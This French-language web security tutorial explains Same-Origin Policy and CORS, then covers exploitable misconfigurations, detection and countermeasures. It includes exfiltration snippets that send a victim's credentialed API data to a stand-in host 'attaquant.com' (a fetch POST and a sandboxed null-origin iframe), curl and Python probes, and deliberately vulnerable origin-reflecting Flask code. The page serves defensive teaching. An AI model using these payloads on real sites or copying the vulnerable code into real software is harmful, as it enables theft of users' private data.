Garden of KnowledgeApplied Sciences › Computer Science › Software › Security › Web Security
March 22, 2026

Same-Origin Policy et CORS

Same-Origin Policy (SOP)§

La Same-Origin Policy est le mécanisme de sécurité fondamental des navigateurs. Elle empêche un script d’une origine d’accéder aux ressources d’une autre origine.

Définition d’une origine§

Deux URLs partagent la même origine si et seulement si le schéma, le domaine et le port sont identiques.

URL de référence : https://site.com/page

https://site.com/autre      → Même origine (seul le chemin diffère)
http://site.com/page        → Origine différente (schéma HTTP ≠ HTTPS)
https://sub.site.com/page   → Origine différente (sous-domaine différent)
https://site.com:8080/page  → Origine différente (port différent)
https://autresite.com/page  → Origine différente (domaine différent)

Ce que la SOP bloque§

// Sur evil.com — tenter de lire la réponse d'une requête cross-origin
fetch('https://bank.com/api/balance')
    .then(r => r.json())
    .then(data => console.log(data));
// ↑ La requête PART bien, mais le navigateur bloque la LECTURE de la réponse

// XMLHttpRequest
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://bank.com/profile');
xhr.send();
// xhr.responseText → bloqué par la SOP

Ce que la SOP ne bloque pas§

<!-- Chargement de ressources cross-origin → toujours permis -->
<script src="https://cdn.example.com/lib.js"></script>
<img src="https://images.example.com/photo.jpg">
<link rel="stylesheet" href="https://cdn.example.com/style.css">

<!-- Les formulaires peuvent envoyer des données cross-origin (sans lire la réponse) -->
<form action="https://bank.com/transfer" method="POST">
    <!-- → C'est pourquoi le CSRF est possible -->
</form>

<!-- Iframes : chargement possible, mais accès au contenu bloqué -->
<iframe src="https://bank.com/dashboard"></iframe>
<!-- iframe.contentDocument → SecurityError -->

CORS (Cross-Origin Resource Sharing)§

CORS est le mécanisme par lequel un serveur autorise explicitement certaines origines à accéder à ses ressources cross-origin.

Flux CORS simple§

Requête simple (GET, POST avec Content-Type text/plain|form|multipart) :

Navigateur → Serveur :
GET /api/data HTTP/1.1
Origin: https://app.com         ← Le navigateur ajoute automatiquement

Serveur → Navigateur :
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.com    ← Autorisation
                                                 (ou * pour tout autoriser)

Si l'en-tête est absent ou ne correspond pas → navigateur bloque la réponse

Flux CORS preflight§

Les requêtes “non simples” (PUT, DELETE, JSON, headers custom) déclenchent un preflight OPTIONS :

Navigateur → Serveur (preflight) :
OPTIONS /api/data HTTP/1.1
Origin: https://app.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: Authorization, Content-Type

Serveur → Navigateur :
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Max-Age: 86400       ← Cache du preflight (secondes)

Si le preflight est approuvé → la vraie requête est envoyée

En-têtes CORS§

En-têteDirectionRôle
OriginRequêteOrigine du client (ajouté par le navigateur)
Access-Control-Allow-OriginRéponseOrigine(s) autorisée(s)
Access-Control-Allow-MethodsRéponseMéthodes autorisées
Access-Control-Allow-HeadersRéponseHeaders autorisés
Access-Control-Allow-CredentialsRéponseAutorise l’envoi de cookies
Access-Control-Expose-HeadersRéponseHeaders visibles côté client
Access-Control-Max-AgeRéponseDurée de cache du preflight

Credentials (cookies)§

Par défaut, les requêtes cross-origin n’envoient pas les cookies. Pour les activer :

// Côté client — activer l'envoi de credentials
fetch('https://api.site.com/data', {
    credentials: 'include'  // envoie les cookies
});

// XMLHttpRequest
xhr.withCredentials = true;
Côté serveur — obligation :
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://app.com    ← * INTERDIT avec credentials

Mauvaises configurations CORS exploitables§

1. Wildcard (*) avec credentials§

# Impossible selon la spec (le navigateur refuse)
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

2. Reflection de l’Origin sans validation§

# Code vulnérable — reflète n'importe quelle origine
@app.after_request
def add_cors(response):
    origin = request.headers.get('Origin')
    if origin:
        response.headers['Access-Control-Allow-Origin'] = origin  # ← Dangereux
        response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response
// Exploitation depuis evil.com
fetch('https://api.victime.com/profile', {
    credentials: 'include'  // Les cookies de session sont envoyés
})
.then(r => r.json())
.then(data => {
    // L'attaquant lit les données privées de la victime
    fetch('https://attaquant.com/steal', {
        method: 'POST',
        body: JSON.stringify(data)
    });
});

3. Validation par préfixe ou suffixe§

# Code vulnérable — validation insuffisante
def is_allowed_origin(origin):
    return origin.endswith('.site.com')  # ← attaquant-site.com passe !

# Ou :
    return origin.startswith('https://site.com')  # ← https://site.com.evil.com passe !

4. Origine null autorisée§

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<!-- L'origine "null" est envoyée par les iframes sandbox, les fichiers locaux -->
<!-- Un attaquant peut forcer l'origine null via une iframe sandboxée -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
        src="data:text/html,<script>
fetch('https://api.victime.com/data', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attaquant.com/?data=' + JSON.stringify(d)));
</script>">
</iframe>

5. Sous-domaines vulnérables (XSS + CORS)§

# Configuration permettant tous les sous-domaines
Access-Control-Allow-Origin: https://sub.site.com
Access-Control-Allow-Credentials: true

# Si sub.site.com a une XSS → l'attaquant contrôle un script depuis sub.site.com
# → Ce script peut lire les données de l'API principale (même domaine parent)

Test et détection§

# Test de reflection d'origin
curl -H "Origin: https://evil.com" https://api.target.com/data -I
# Si Access-Control-Allow-Origin: https://evil.com → vulnérable

# Test avec origin null
curl -H "Origin: null" https://api.target.com/data -I

# Test de validation par regex — injecter un domaine qui pourrait passer
curl -H "Origin: https://evil-target.com" https://api.target.com/data -I
curl -H "Origin: https://target.com.evil.com" https://api.target.com/data -I
# Script de test complet
import requests

target = "https://api.target.com/sensitive"
origins_to_test = [
    "https://evil.com",
    "null",
    "https://evil-target.com",
    "https://target.com.evil.com",
    "https://eviltarget.com",
    "http://target.com",  # HTTP au lieu de HTTPS
]

for origin in origins_to_test:
    r = requests.get(target, headers={"Origin": origin})
    acao = r.headers.get("Access-Control-Allow-Origin", "absent")
    acac = r.headers.get("Access-Control-Allow-Credentials", "absent")
    if acao == origin:
        print(f"[VULN] Origin reflétée : {origin} | Credentials: {acac}")
    else:
        print(f"[OK]   {origin} → ACAO: {acao}")

Contre-mesures§

# Python/Flask — whitelist stricte
ALLOWED_ORIGINS = {
    'https://app.site.com',
    'https://www.site.com',
}

@app.after_request
def cors_headers(response):
    origin = request.headers.get('Origin')
    if origin in ALLOWED_ORIGINS:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Vary'] = 'Origin'  # Important pour le cache
        if needs_credentials(request):
            response.headers['Access-Control-Allow-Credentials'] = 'true'
    return response

# Ne jamais utiliser :
# response.headers['Access-Control-Allow-Origin'] = request.headers.get('Origin')
# Sans validation
# Nginx — whitelist avec map
map $http_origin $cors_origin {
    default "";
    "https://app.site.com"  "$http_origin";
    "https://www.site.com"  "$http_origin";
}

server {
    add_header Access-Control-Allow-Origin $cors_origin always;
    add_header Vary "Origin" always;
}
Checklist CORS :
✓ Maintenir une whitelist explicite d'origines autorisées
✓ Ajouter Vary: Origin pour éviter que les caches servent une réponse à la mauvaise origine
✓ Ne jamais utiliser * avec Access-Control-Allow-Credentials: true
✓ Ne jamais autoriser l'origine null en production
✓ Valider l'Origin complète (pas seulement un préfixe/suffixe)
✓ Restreindre les méthodes et headers aux seuls nécessaires
✓ Tester régulièrement les sous-domaines (surface d'attaque via XSS)
—The Gardener